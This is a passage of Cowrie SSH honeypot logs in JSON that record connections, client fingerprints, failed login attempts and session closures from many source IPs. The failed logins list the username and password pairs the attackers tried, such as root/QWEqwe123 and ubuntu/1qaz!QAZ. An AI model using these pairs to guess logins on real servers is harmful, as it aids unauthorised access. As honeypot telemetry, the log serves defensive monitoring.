com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:07.193498Z","src_ip":"201.149.53.243","session":"f681b09afe98","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"useradmin","message":"login attempt [adminuser/useradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:07.484201Z","src_ip":"201.149.53.243","session":"f681b09afe98","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":55976,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcee7770ae73","protocol":"ssh","message":"New connection: 173.249.6.197:55976 (159.203.135.109:22) [session: fcee7770ae73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:08.009277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:08.014287Z","src_ip":"173.249.6.197","session":"fcee7770ae73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:08.109931Z","src_ip":"173.249.6.197","session":"fcee7770ae73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ","message":"login attempt [ubuntu/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:08.510689Z","src_ip":"173.249.6.197","session":"fcee7770ae73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:08.551024Z","src_ip":"201.149.53.243","session":"f681b09afe98","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:09.606606Z","src_ip":"173.249.6.197","session":"fcee7770ae73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":58136,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ec36ab39254","protocol":"ssh","message":"New connection: 80.94.92.186:58136 (159.203.135.109:22) [session: 8ec36ab39254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:27.375338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:27.715837Z","src_ip":"80.94.92.186","session":"8ec36ab39254","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:27.722677Z","src_ip":"80.94.92.186","session":"8ec36ab39254","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana@123","message":"login attempt [solana/solana@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:29.467680Z","src_ip":"80.94.92.186","session":"8ec36ab39254","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:30.825444Z","src_ip":"80.94.92.186","session":"8ec36ab39254","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58672,"dst_ip":"159.203.135.109","dst_port":22,"session":"11a0f9fe09da","protocol":"ssh","message":"New connection: 159.203.92.129:58672 (159.203.135.109:22) [session: 11a0f9fe09da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:33.959462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:33.967626Z","src_ip":"159.203.92.129","session":"11a0f9fe09da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:33.972668Z","src_ip":"159.203.92.129","session":"11a0f9fe09da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"XuLinLing","password":"123","message":"login attempt [XuLinLing/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:33.989567Z","src_ip":"159.203.92.129","session":"11a0f9fe09da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:34.998644Z","src_ip":"159.203.92.129","session":"11a0f9fe09da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":43476,"dst_ip":"10.17.0.5","dst_port":22,"session":"02738deaf0c9","protocol":"ssh","message":"New connection: 185.216.119.134:43476 (10.17.0.5:22) [session: 02738deaf0c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:37.350957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:37.356333Z","src_ip":"185.216.119.134","session":"02738deaf0c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:37.893614Z","src_ip":"185.216.119.134","session":"02738deaf0c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:39.659441Z","src_ip":"185.216.119.134","session":"02738deaf0c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:40.873495Z","src_ip":"185.216.119.134","session":"02738deaf0c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":44526,"dst_ip":"10.17.0.5","dst_port":22,"session":"c179c9e9af10","protocol":"ssh","message":"New connection: 210.183.21.53:44526 (10.17.0.5:22) [session: c179c9e9af10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.190356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.195105Z","src_ip":"210.183.21.53","session":"c179c9e9af10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.395600Z","src_ip":"210.183.21.53","session":"c179c9e9af10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":35520,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fb5bfe1c76f","protocol":"ssh","message":"New connection: 221.139.88.149:35520 (159.203.135.109:22) [session: 2fb5bfe1c76f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.434796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.440123Z","src_ip":"221.139.88.149","session":"2fb5bfe1c76f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:46.687718Z","src_ip":"221.139.88.149","session":"2fb5bfe1c76f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"1q2w3e4r","message":"login attempt [sysadmin/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:47.211819Z","src_ip":"210.183.21.53","session":"c179c9e9af10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshvpn","password":"123456","message":"login attempt [sshvpn/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:47.562363Z","src_ip":"221.139.88.149","session":"2fb5bfe1c76f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:48.410594Z","src_ip":"210.183.21.53","session":"c179c9e9af10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:28:48.754231Z","src_ip":"221.139.88.149","session":"2fb5bfe1c76f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.149.53.243","src_port":5027,"dst_ip":"10.17.0.5","dst_port":22,"session":"745c745f93bb","protocol":"ssh","message":"New connection: 201.149.53.243:5027 (10.17.0.5:22) [session: 745c745f93bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:03.994381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:04.001695Z","src_ip":"201.149.53.243","session":"745c745f93bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:04.073851Z","src_ip":"201.149.53.243","session":"745c745f93bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Digital@2017","message":"login attempt [root/Digital@2017] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:04.375798Z","src_ip":"201.149.53.243","session":"745c745f93bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:05.447440Z","src_ip":"201.149.53.243","session":"745c745f93bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54110,"dst_ip":"159.203.135.109","dst_port":22,"session":"45912dc814b5","protocol":"ssh","message":"New connection: 159.203.92.129:54110 (159.203.135.109:22) [session: 45912dc814b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:16.618961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:29:16.624083Z","src_ip":"159.203.92.129","session":"45912dc814b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"